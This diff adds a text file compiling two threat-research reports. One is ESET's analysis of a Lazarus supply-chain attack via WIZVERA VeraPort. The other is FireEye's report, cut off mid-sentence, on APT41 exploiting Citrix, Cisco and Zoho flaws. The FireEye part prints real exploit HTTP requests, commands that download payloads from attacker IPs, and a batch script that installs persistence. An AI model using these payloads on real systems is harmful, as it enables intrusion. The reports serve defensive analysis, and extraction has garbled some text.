diff --git "a/2020.clean.txt" "b/2020.clean.txt" new file mode 100644--- /dev/null +++ "b/2020.clean.txt" @@ -0,0 +1,4851 @@ +Lazarus supply-chain attack in South Korea +welivesecurity.com/2020/11/16/lazarus-supply-chain-attack-south-korea +ESET telemetry data recently led our researchers to discover attempts to deploy Lazarus malware via a supply-chain attack in +South Korea. In order to deliver its malware, the attackers used an unusual supply-chain mechanism, abusing legitimate South +Korean security software and digital certificates stolen from two different companies. +Lazarus toolset +The Lazarus group was first identified in Novetta +s report Operation Blockbuster in February 2016; US-CERT and the FBI call +this group HIDDEN COBRA. These cybercriminals rose to prominence with the infamous case of cybersabotage against Sony +Pictures Entertainment. +Some of the past attacks attributed to the Lazarus group attracted the interest of security researchers who relied on Novetta et +s white papers with hundreds of pages describing the tools used in the attacks + the Polish and Mexican banks, the +WannaCryptor outbreak, phishing campaigns against US defense contractors, Lazarus KillDisk attack against Central +American casino, etc. + and provides grounds for the attribution of these attacks to the Lazarus group. +Note that the Lazarus toolset (i.e., the collection of all files that are considered by the security industry as fingerprints of the +group +s activity) is extremely broad, and we believe there are numerous subgroups. Unlike toolsets used by some other +cybercriminal groups, none of the source code of any Lazarus tools has ever been disclosed in a public leak. +Latest Lazarus supply-chain attack +To understand this novel supply-chain attack, you should be aware that South Korean internet users are often asked to install +additional security software when visiting government or internet banking websites. +WIZVERA VeraPort, referred to as an integration installation program, is a South Korean application that helps manage such +additional security software. With WIZVERA VeraPort installed on their devices, users receive and install all necessarily +software required by a specific website with VeraPort (e.g., browser plug-ins, security software, identity verification software, +etc.). Minimal user interaction is required to start such a software installation from a website that supports WIZVERA VeraPort. +Usually, this software is used by government and banking websites in South Korea. For some of these websites it is mandatory +to have WIZVERA VeraPort installed for users to be able to access the sites + services. +Figure 1. A WIZVERA VeraPort window displayed to the user when installing additional software +1/14 +The Lazarus attackers abused the above-mentioned mechanism of installing security software in order to deliver Lazarus +malware from a legitimate but compromised website. However, it should be noted that a successful malware deployment using +this method requires a number of preconditions; that +s why it was used in limited Lazarus campaigns. To make this attack +possible: +the victim must have WIZVERA VeraPort software installed +the victim must visit a compromised website that already has support for WIZVERA VeraPort +this website must have specific entries in its VeraPort configuration file that allows attackers to replace regular software in +its VeraPort software bundle with their malware. +It is important to note that, based on our analysis, we believe that these supply-chain attacks happen at websites that use +WIZVERA VeraPort, rather than at WIZVERA itself. +Websites that support WIZVERA VeraPort software contain a server-side component, specifically some JavaScripts and a +WIZVERA configuration file. The configuration file is base64-encoded XML containing the website address, a list of software to +install, download URLs, and other parameters. +Figure 2. An example of a WIZVERA VeraPort configuration (redacted by ESET) +These configuration files are digitally signed by WIZVERA. Once downloaded, they are verified using a strong cryptographic +algorithm (RSA), which is why attackers can +t easily modify the content of these configuration files or set up their own fake +website. However, the attackers can replace the software to be delivered to WIZVERA VeraPort users from a legitimate but +compromised website. We believe this is the scenario the Lazarus attackers used. +2/14 +Figure 3. Simplified scheme of the WIZVERA supply-chain attack conducted by the Lazarus group +It should be noted that WIZVERA VeraPort configurations contain an option to verify the digital signature of downloaded +binaries before they are executed, and in most cases this option is enabled by default. However, VeraPort only verifies that the +digital signature is valid, without checking to whom it belongs. Thus, to abuse WIZVERA VeraPort, attackers must have any +valid code-signing certificate in order to push their payload via this method or get lucky and find a VeraPort configuration that +does not require code-signing verification. +So far, we have observed two malware samples that were delivered using this supply-chain attack and both were signed: +SHA-1 +Filename +Digital signature +3D311117D09F4A6AD300E471C2FB2B3C63344B1D +Delfino.exe +ALEXIS SECURITY GROUP, LLC +3ABFEC6FC3445759730789D4322B0BE73DC695C7 +MagicLineNPIZ.exe +DREAM SECURITY USA INC +The attackers used illegally obtained code-signing certificates in order to sign the malware samples. Interestingly, one of these +certificates was issued to the US branch of a South Korean security company. +3/14 +Figure 4. The ALEXIS SECURITY GROUP, LLC code-signing certificate used to sign Lazarus malware +Figure 5. The DREAM SECURITY USA INC code-signing certificate used to sign Lazarus malware +The attackers camouflaged the Lazarus malware samples as legitimate software. These samples have similar filenames, icons +and VERSIONINFO resources as legitimate South Korean software often delivered via WIZVERA VeraPort. Binaries that are +downloaded and executed via the WIZVERA VeraPort mechanism are stored in %Temp%\[12_RANDOM_DIGITS]\. +It should be noted that WIZVERA VeraPort +s configuration has an option not only to verify digital signatures, but also to verify +the hash of downloaded binaries. If this option is enabled, then such an attack cannot be performed so easily, even if the +website with WIZVERA VeraPort is compromised. +Attribution +4/14 +We strongly attribute this supply-chain attack to the Lazarus group, based on the following aspects: +1. Community agreement: The current attack is a continuation of what KrCERT has called Operation Bookcodes. While +KrCERT hasn +t attributed that campaign to the Lazarus group, Kaspersky did in their report about Q2 2020 APT trends. +2. Toolset characteristics and detection: +1. The initial dropper is a console application that requires parameters, executing the next stages in a cascade and +utilizes an encryption, cf. the watering hole attacks against Polish and Mexican banks +2. The final payload is a RAT module, with TCP communications and its commands indexed by 32-bit integers, cf. +KillDisk in Central America +3. Many tools delivered via this chain are already flagged as NukeSped by ESET software. For example, the signed +Downloader in the Analysis section is based on a project called WinHttpClient and it leads to the similar tool with +hash 1EA7481878F0D9053CCD81B4589CECAEFC306CF2, which we link with with a sample from Operation +Blockbuster (CB818BE1FCE5393A83FBFCB3B6F4AC5A3B5B8A4B). The connection between the latter two is the +dynamic resolution of Windows APIs where the names are XOR-encrypted by 0x23, e.g., +dFWwLHFMjMELQNBWJLM is the encoding of GetTokenInformation. +3. Victimology: the Lazarus group has a long history of attacks against victims in South Korea like Operation Troy, including +DDoS attacks Ten Days of Rain in 2011, South Korean Cyberattacks in 2013, or South Korean cryptocurrency +exchanges targeted in 2017. +4. Network infrastructure: the server-side techniques of webshells and the organization of C&Cs are covered very precisely +in KrCERT +s white paper #2. The current campaign uses a very similar setup as well. +5. Eccentric approach: +1. In intrusion methods: The unusual method of infiltration is a clue that could be attributed to a sophisticated and +professionally organized actor like Lazarus. In the past, we saw how a vulnerability in software existing only in +specific networks was leveraged by this group, and not visible with any other APT actor. For example, the case of +A Strange Coinminer + delivered through the ManageEngine Desktop Central software. +2. In encryption methods: We saw a Spritz variant of RC4 in the watering hole attacks against Polish and Mexican +banks; later Lazarus used a modified RC4 in Operation In(ter)ception. In this campaign, it is a modified A5/1 stream +cipher that degrades to a single-byte XOR in many cases. +Malware analysis +It is a common characteristic of many APT groups, especially Lazarus, that they unleash their arsenal within several stages +that execute as a cascade: from the dropper to intermediate products (the Loader, serving as an injector) up to the final +payloads (the Downloader, the Module). The same is true for this campaign. +During our analysis we found similarities in code and architecture between Lazarus malware delivered via this WIZVERA +supply-chain attack and the malware described in the Operation BookCodes report (part one, part two) published by Korea +Internet & Security Agency this year. +Comparison with Operation BookCodes +Table 1. Common characteristics between two Lazarus operations +Parameter/ +Campaign +Operation BookCodes +Via WIZVERA Vera Port +Location of +targets +South Korea +South Korea +Time +Q1-Q2 2020 +Q2-Q3 2020 +Methods of +compromise +Korean spearphishing email (link to download or +HWP attachment) +Watering hole website +Supply-chain attack +Filename of +the dropper +C:\Windows\SoftwareDistribution\Download\BIT[45digits].tmp +C:\Windows\SoftwareDistribution\Download\BIT388293.tmp +5/14 +Parameter/ +Campaign +Operation BookCodes +Via WIZVERA Vera Port +Binary +configuration +file +perf91nc.inf (12000 bytes) +assocnet.inf (8348 bytes) +Loader +name +nwsapagentmonsvc.dll +Btserv.dll +iasregmonsvc.dll +RC4 key +1qaz2wsx3edc4rfv5tgb$%^&*!@#$ +1q2w3e4r!@#$%^&* +Log file +%Temp%\services_dll.log +%Temp%\server_dll.log +Signed initial downloader +This is the Lazarus component delivered via the VeraPort hijack described earlier. The signed initial downloaders are Themidaprotected binaries, which download, decrypt and execute other payloads in memory, without dropping them to the disk. This +downloader sends an HTTP POST request to a hardcoded C&C server, decrypts the server +s answer using the RC4 algorithm, +and executes it in memory using its own loader for PE files. +Figure 6. The POST request made by the initial downloader +Interestingly, both discovered samples send a small, hardcoded ID in the body of the POST request: MagicLineNPIZ.gif or +delfino.gif. +6/14 +7/14 +Figure 7. Scheme of the initial compromise +Dropper +This is the initial stage of the cascade. While one can +t see any polymorphism or obfuscation in the code, it encapsulates three +encrypted files in its resources. Moreover, it +s a console application expecting three parameters in an encrypted state: the +name of the first file (the Loader, Btserv.dll), the name of the second file (the Downloader, bcyp655.tlb), and the necessary +decryption key for the previous values (542). +BIT388293.tmp oJaRh5CUzIaOjg== aGlzejw/PyR+Zmg= 542 +The extraction of resources is one of two main roles of the dropper; it does so in the %WINDOWS%\SYSTEM32 folder, +decrypting the Loader and preserving the encrypted state of the Downloader that will be decrypted just before being injected +into another process. It also drops the configuration file assocnet.inf that will later be leveraged by the final payloads, namely +the Downloader and the Module. Then it chooses a service by checking the following list of three legitimate service names +Winmgmt;ProfSvc;wmiApSrv; and injects the Downloader into the matched service using reflective DLL injection. +The file name of the Loader is stored in the following Windows registry value: +HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages +Figure 8. The decompiled code of the dropper +Loader +This component is a Themida-protected file. We estimate the version of Themida to be 2.0-2.5, which agrees with KrCERT +report (page 20). The Loader serves as a simple injector that is looking for its injection parameters in the resources: the name +of the encrypted file and the decryption key, which is the string +. The instance delivered by the dropper looks for the file +bcyp655.tlb (the Downloader). It creates a mutex Global\RRfreshRA_Mutex_Object. The choice of the targeted service and the +injection method are the same as in the dropper. +Let us talk for a while about the encryption method used by the dropper and by this loader. The common key is the string +, which is initially provided as a command-line parameter to the Dropper and subsequently as a 3-byte encrypted +resource for the Loader. To expand a short master key to a larger expanded key (so-called key scheduling), the MD5 hash of +the string is computed, which is 7DCD340D84F762EBA80AA538B0C527F7. Then it takes first three double words, let's +8/14 +denote them A := 0x7DCD340D, B := 0x84f762EB, C:= 0xA80aa538. The length of an encrypted buffer is divided by 3, and +this is the number of iterations that transforms the initial sequence (A,B,C) into the proper key. In every iteration (X,Y,Z) +becomes (X^Y, Y^Z, X^Y^Z). Because the XOR operation (denoted ^) is commutative and transitive, and its square is zero, +which leaves everything unchanged, we can compute that after 8 iterations we get the identity, so the key could reach just 7 +pairwise different states and is equal to the first 12 characters of the MD5 hash of "542" if the length is a multiple of 24. +What is interesting is how the remainder of the length division by 3 is treated. If the number of iterations was increased by this +remainder, then we would reach just another of the 7 states of the key. However, the twist is in the change of operation: ^ is +replaced with the OR operation in the code for the remainder. For example, the key with the remainder 1 becomes {FE F7 3A +F9 F7 D7 FF FD FF F7 FF FD} for one of the states (of (C, A^B, B^C) to be precise), so we get new possible transformations +of the key that tend to be more likely to be ones than zeroes. +That was the part preparing the key. The encryption algorithm itself looks like A5/1 at first glance. It was a secret technology +developed in 1987 and used in over-the-air communication privacy in the GSM cellular telephone standard until reverseengineered in 1999. The crucial part of the algorithm is three linear feedback shift registers (LFSRs). However, only the lengths +of LFSRs in the malware code coincide with the official implementation, not the constants. +Table 2. Comparison of crypto algorithms between malware and the official implementation +LFSR +Malware code +Official A5/1 +Length: 19 +Length: 19 +Constants: 13, 16, 17, 18 +Constants: 13, 16, 17, 18 +Length: 22 +Length: 22 +Constants: 12, 16, 20, 21 +Constants: 20, 21 +Length: 23 +Length: 23 +Constants: 17,18,21,22 +Constants: 7, 20, 21, 22 +The decryption loop in each iteration basically derives a 1-byte XOR key for the corresponding byte of the encrypted buffer. +The purpose of LFSRs is that they could transform the key, so the whole process is much more complicated. But due to the +mentioned change of the operation, LFSRs would not affect it and the 1-byte XOR key remains the same for all iterations. +Downloader, aka WinHttpClient +The main downloader is dropped by the Dropper component under the bcyp655.tlb name and injected into one of the services +by the Loader. Its main purpose is to deliver additional stages onto the victim +s computers. The network protocol is based on +HTTP but requires several stages to establish a trusted connection. +The malware fingerprints the victim +s system: see Figure 9. +9/14 +Figure 9. The length of the buffer is 0x114 and contains campaign ID, local IP address, Windows version, processor version +(cf. KrCERT page 59, Figure [4-17]) +The first step is authorization. After sending randomly generated, generic parameters code and id, the expected response +starts with followed by additional data delimited by a semicolon. However, in +the next POST request the parameters are already based on the victim +s IP. Because we didn +t know which victims were +targeted, during our investigation, we always received a +Not Found + reply, not the successful +Figure 10. Primary message exchange with C&C having generic parameters code and id +10/14 +Figure 11. Secondary message exchange with C&C having a specific parameter name +If the victim passes these introductory messages and the connection is acknowledged, then the decrypted response starts with +an interesting artifact: a keyword ohayogonbangwa!!. As a whole, we haven +t found that word on the internet, but the closest +meaning could be +Ohayo, Konbangwa +), which is +Good morning, good evening + in Japanese. From +this point, there are more messages that are exchanged, with the final exchange asking for an executable to load into memory. +Figure 12. Japanese artifact in the code +Module, the final RAT payload +11/14 +This is a RAT with a set of typical features used by the Lazarus group. The commands include operations on the victim +filesystem and the download and execution of additional tools from the attacker +s arsenal. They are indexed by 32-bit integers +and coincide with those reported by KrCERT on page 61. +Figure 13. Some of the commands supported by Module +Conclusion +Attackers are constantly trying to find new ways to deliver malware to target computers. Attackers are particularly interested in +supply-chain attacks, because they allow them to covertly deploy malware on many computers at the same time. In recent +years ESET researchers analyzed such cases as M.E.Doc, Elmedia Player, VestaCP, Statcounter, and the gaming industry. +We can safely predict that the number of supply-chain attacks will increase in the future, especially against companies whose +services are popular in specific regions or in specific industry verticals. +This time we analyzed how the Lazarus group used a very interesting approach to target South Korean users of WIZVERA +VeraPort software. As mentioned in our analysis, it +s the combination of compromised websites with WIZVERA VeraPort +support and specific VeraPort configuration options that allow attackers to perform this attack. Owners of such websites could +decrease the possibility of such attacks, even if their sites are compromised, by enabling specific options (e.g. by specifying +hashes of binaries in the VeraPort configuration). +Special thanks to D +vid G + and Peter Ko +For any inquiries, or to make sample submissions related to the subject, contact us at threatintel@eset.com +Indicators of Compromise (IoCs) +ESET detection names +Win32/NukeSped.HW +Win32/NukeSped.FO +Win32/NukeSped.HG +Win32/NukeSped.HI +Win64/NukeSped.CV +Win64/NukeSped.DH +Win64/NukeSped.DI +Win64/NukeSped.DK +Win64/NukeSped.EP +SHA-1 of signed samples +3D311117D09F4A6AD300E471C2FB2B3C63344B1D +3ABFEC6FC3445759730789D4322B0BE73DC695C7 +12/14 +SHA-1 of samples +5CE3CDFB61F3097E5974F5A07CF0BD2186585776 +FAC3FB1C20F2A56887BDBA892E470700C76C81BA +AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8 +E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C +DC72D464289102CAAF47EC318B6110ED6AF7E5E4 +9F7B4004018229FAD8489B17F60AADB3281D6177 +2A2839F69EC1BA74853B11F8A8505F7086F1C07A +8EDB488B5F280490102241B56F1A8A71EBEEF8E3 +Code signing certificate serial numbers +00B7F19B13DE9BEE8A52FF365CED6F67FA +4C8DEF294478B7D59EE95C61FAE3D965 +http://www.ikrea.or[.]kr/main/main_board.asp +http://www.fored.or[.]kr/home/board/view.php +https://www.zndance[.]com/shop/post.asp +http://www.cowp.or[.]kr/html/board/main.asp +http://www.style1.co[.]kr/main/view.asp +http://www.erpmas.co[.]kr/Member/franchise_modify.asp +https://www.wowpress.co[.]kr/customer/refuse_05.asp +https://www.quecue[.]kr/okproj/ex_join.asp +http://www.pcdesk.co[.]kr/Freeboard/mn_board.asp +http://www.gongsinet[.]kr/comm/comm_gongsi.asp +http://www.goojoo[.]net/board/banner01.asp +http://www.pgak[.]net/service/engine/release.asp +https://www.gncaf.or[.]kr/cafe/cafe_board.asp +https://www.hsbutton.co[.]kr/bbs/bbs_write.asp +https://www.hstudymall.co[.]kr/easypay/web/bottom.asp +Mutexes +Global\RRfreshRA_Mutex_Object +References +KrCERT/CC, +Operation BookCodes TTPs#1 Controlling local network through vulnerable websites +, English Translation, 1st +April 2020 +KrCERT/CC, +Operation BookCodes TTPs#2 +, Korean, 29th June +2020 +P. K +lnai, M. Poslu +Lazarus Group: a mahjong game played in different sets of tiles +, Virus Bulletin 2018 (Montreal) +P. K +lnai: +Demystifying targeted malware used against Polish banks +, WeLiveSecurity, February 2017 +P. K +lnai, A. Cherepanov +Lazarus KillDisks Central American casino +, WeLiveSecurity, April 2018 +D. Breitenbacher, K. Osis: +Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies +, June +2020 +Novetta et al, +Operation Blockbuster +, February 2016, https://www.operationblockbuster.com/resources +Marcus Hutchins, +How to accidentally stop a global cyber-attack +, May 2015 +Kaspersky GReAT: +APT trends report Q2 2020 +, July 2020 +A. Kasza: +The Blockbuster Saga Continues +, Palo Alto Networks, August 2017 +US-CERT CISA, https://us-cert.cisa.gov/northkorea +WeLiveSecurity: +Sony Pictures hacking traced to Thai hotel as North Korea denies involvement +, December 2014 +R. Sherstobitoff, I. Liba. J. Walter: +Dissecting Operation Troy: Cyberespionage in South Korea +, McAfee + Labs, May 2018 +McAfee Labs: +Ten Days of Rain +, July 2011 +13/14 +Fireye/Mandiant: +Why Is North Korea So Interested in Bitcoin? +, September 2017 +Choe Sang-Hun: +Computer Networks in South Korea Are Paralyzed in Cyberattacks +, March 2013 +A5/1 stream cipher, Wikipedia +MITRE ATT&CK techniques +Note: This table was built using version 8 of the MITRE ATT&CK framework. +Tactic +Name +Description +Resource +Development +T1584.004 +Compromise Infrastructure: +Server +The Lazarus group uses compromised servers as +infrastructure. +T1587.001 +Develop Capabilities: Malware +The Lazarus group developed custom malware and malware +components. +T1588.003 +Obtain Capabilities: Code +Signing Certificates +The Lazarus group obtained code-signing certificates. +Initial Access +T1195.002 +Supply Chain Compromise: +Compromise Software Supply +Chain +The Lazarus group pushed this malware using a supply-chain +attack via WIZVERA VeraPort. +Execution +T1106 +Native API +The Lazarus payload is executed using native API calls. +Persistence +T1547.005 +Boot or Logon Autostart +Execution: Security Support +Provider +The Lazarus malware maintains persistence by installing an +SSP DLL. +Defense +Evasion +T1036 +Masquerading +The Lazarus malware masqueraded as a South Korean +security software +T1027.002 +Obfuscated Files or +Information: Software Packing +The Lazarus group uses Themida-protected malware. +T1055 +Process Injection +The Lazarus malware injects itself in svchost.exe. +T1553.002 +Subvert Trust Controls: Code +Signing +The Lazarus group used illegally obtained code-signing +certificates to sign the initial downloader used in this supplychain attack. +T1071.001 +Application Layer Protocol: +Web Protocols +The Lazarus malware uses HTTP for C&C. +T1573.001 +Encrypted Channel: +Symmetric Cryptography +The Lazarus malware uses the RC4 algorithm to encrypt its +C&C communications. +T1041 +Exfiltration Over C2 Channel +The Lazarus malware exfiltrates data over the C&C channel. +Command +and Control +Exfiltration +14/14 +This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using +Multiple Exploits +fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html +Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber +espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt +to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 +FireEye customers. Countries we +ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, +Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. +The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, +Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, +Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It +s unclear if APT41 scanned the +Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims +appear to be more targeted in nature. +Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC]) +Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery +Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019). +Figure 1: Timeline of key events +The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command +file /bin/pwd +, which may have achieved two objectives for APT41. First, it would confirm whether the system was +vulnerable and the mitigation wasn +t applied. Second, it may return architecture-related information that would be required +knowledge for APT41 to successfully deploy a backdoor in a follow-up step. +One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 +was operating with an already-known list of identified devices accessible on the internet. +1/13 +POST /vpns/portal/scripts/newbm.pl HTTP/1.1 +Host: [redacted] +Connection: close +Accept-Encoding: gzip, deflate +Accept: */* +User-Agent: python-requests/2.22.0 +NSC_NONCE: nsroot +NSC_USER: ../../../netscaler/portal/templates/[redacted] +Content-Length: 96 +url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %] +Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781 +There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New +Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by +Chinese APT groups in past years as well. +Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the +File Transfer Protocol (FTP). Specifically, APT41 executed the command +/usr/bin/ftp -o /tmp/bsd ftp://test: +[redacted]\@66.42.98[.]220/bsd +, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server +with a username of +test + and a password that we have redacted, and then downloaded an unknown payload named +(which was likely a backdoor). +POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 +Accept-Encoding: identity +Content-Length: 147 +Connection: close +Nsc_User: ../../../netscaler/portal/templates/[redacted] +User-Agent: Python-urllib/2.7 +Nsc_Nonce: nsroot +Host: [redacted] +Content-Type: application/x-www-form-urlencoded +url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test: +[redacted]\@66.42.98[.]220/bsd`') %] +Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781 +We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated +COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out +quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in +activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, +which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 +exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, +where only the name of the payload + changed. +2/13 +POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 +Accept-Encoding: identity +Content-Length: 145 +Connection: close +Nsc_User: ../../../netscaler/portal/templates/[redacted] +User-Agent: Python-urllib/2.7 +Nsc_Nonce: nsroot +Host: [redacted] +Content-Type: application/x-www-form-urlencoded +url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test: +[redacted]\@66.42.98[.]220/un`') %] +Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781 +Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent +fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP. +Cisco Router Exploitation +On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and +downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named + (MD5: +155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module +that combines two CVE +s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and +RV325 small business routers and uses wget to download the specified payload. +GET /test/fuc +HTTP/1.1 +Host: 66.42.98\.220 +User-Agent: Wget +Connection: close +Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget +66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5: +c0c467c8e9b2046d7053642cc9bdd57d) is +cat /etc/flash/etc/nk_sysconfig +, which is the command one would execute on +a Cisco RV320 router to display the current configuration. +Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review +the following security advisories and take appropriate action: +Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability +Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability +Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability) +On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day +remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-202010189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho +3/13 +ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five +separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were +deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload +logger.zip +, a simple Java based +program, which contained a set of commands to use PowerShell to download and execute install.bat and +storesyncsvc.dll. +java/lang/Runtime +getRuntime +()Ljava/lang/Runtime; +Xcmd /c powershell $client = new-object +System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\ +Windows\Temp\install.bat')&powershell $client = new-object +System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll',' +C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat +'(Ljava/lang/String;)Ljava/lang/Process; +StackMapTable +ysoserial/Pwner76328858520609 +Lysoserial/Pwner76328858520609; +Figure 6: Contents of logger.zip +Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string +Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in +their operation. +In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download +install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345. +Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe +Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat +C:\Users\Public\install.bat +Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation +In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON +loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f). +4/13 +@echo off +set "WORK_DIR=C:\Windows\System32" +set "DLL_NAME=storesyncsvc.dll" +set "SERVICE_NAME=StorSyncSvc" +set "DISPLAY_NAME=Storage Sync Service" +set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with +multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to +run collectly." +sc stop %SERVICE_NAME% +sc delete %SERVICE_NAME% +mkdir %WORK_DIR% +copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y +reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t +REG_MULTI_SZ /d "%SERVICE_NAME%" /f +sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= +share start= auto error= ignore DisplayName= "%DISPLAY_NAME%" +SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000 +sc description "%SERVICE_NAME%" "%DESCRIPTION%" +reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f +reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t +REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f +net start "%SERVICE_NAME%" +Figure 8: Contents of install.bat +Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a +DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile. +GET /jquery-3.3.1.min.js HTTP/1.1 +Host: cdn.bootcss.com +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Referer: http://cdn.bootcss.com/ +Accept-Encoding: gzip, deflate +Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM +DA8y_rXEJQGZ6Xlkp_wCoqnImDbj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI +User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko +Connection: Keep-Alive Cache-Control: no-cache +5/13 +Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request +Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary +backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we +ve observed APT41 use in past +intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a +VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected +binaries is another very common TTP that we +ve observed this group leverage in multiple intrusions in order to delay +analysis of other tools in their toolkit. +GET /2.exe HTTP/1.1 +Cache-Control: no-cache +Connection: Keep-Alive +Pragma: no-cache +Accept: */* +User-Agent: Microsoft-CryptoAPI/6.3 +Host: 91.208.184[.]78 +Figure 10: Example HTTP request downloading +2.exe + VMProtected Meterpreter downloader via CertUtil +certutil -urlcache -split -f http://91.208.184[.]78/2.exe +Figure 11: Example CertUtil command to download +2.exe + VMProtected Meterpreter downloader +The Meterpreter downloader +TzGG + was configured to communicate with 91.208.184[.]78 over port 443 to download the +shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version). +GET /TzGG HTTP/1.1 +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) +Host: 91.208.184[.]78:443 +Connection: Keep-Alive +Cache-Control: no-cache +Figure 12: Example HTTP request downloading +TzGG + shellcode for Cobalt Strike BEACON +The downloaded BEACON shellcode connected to the same C2 server: 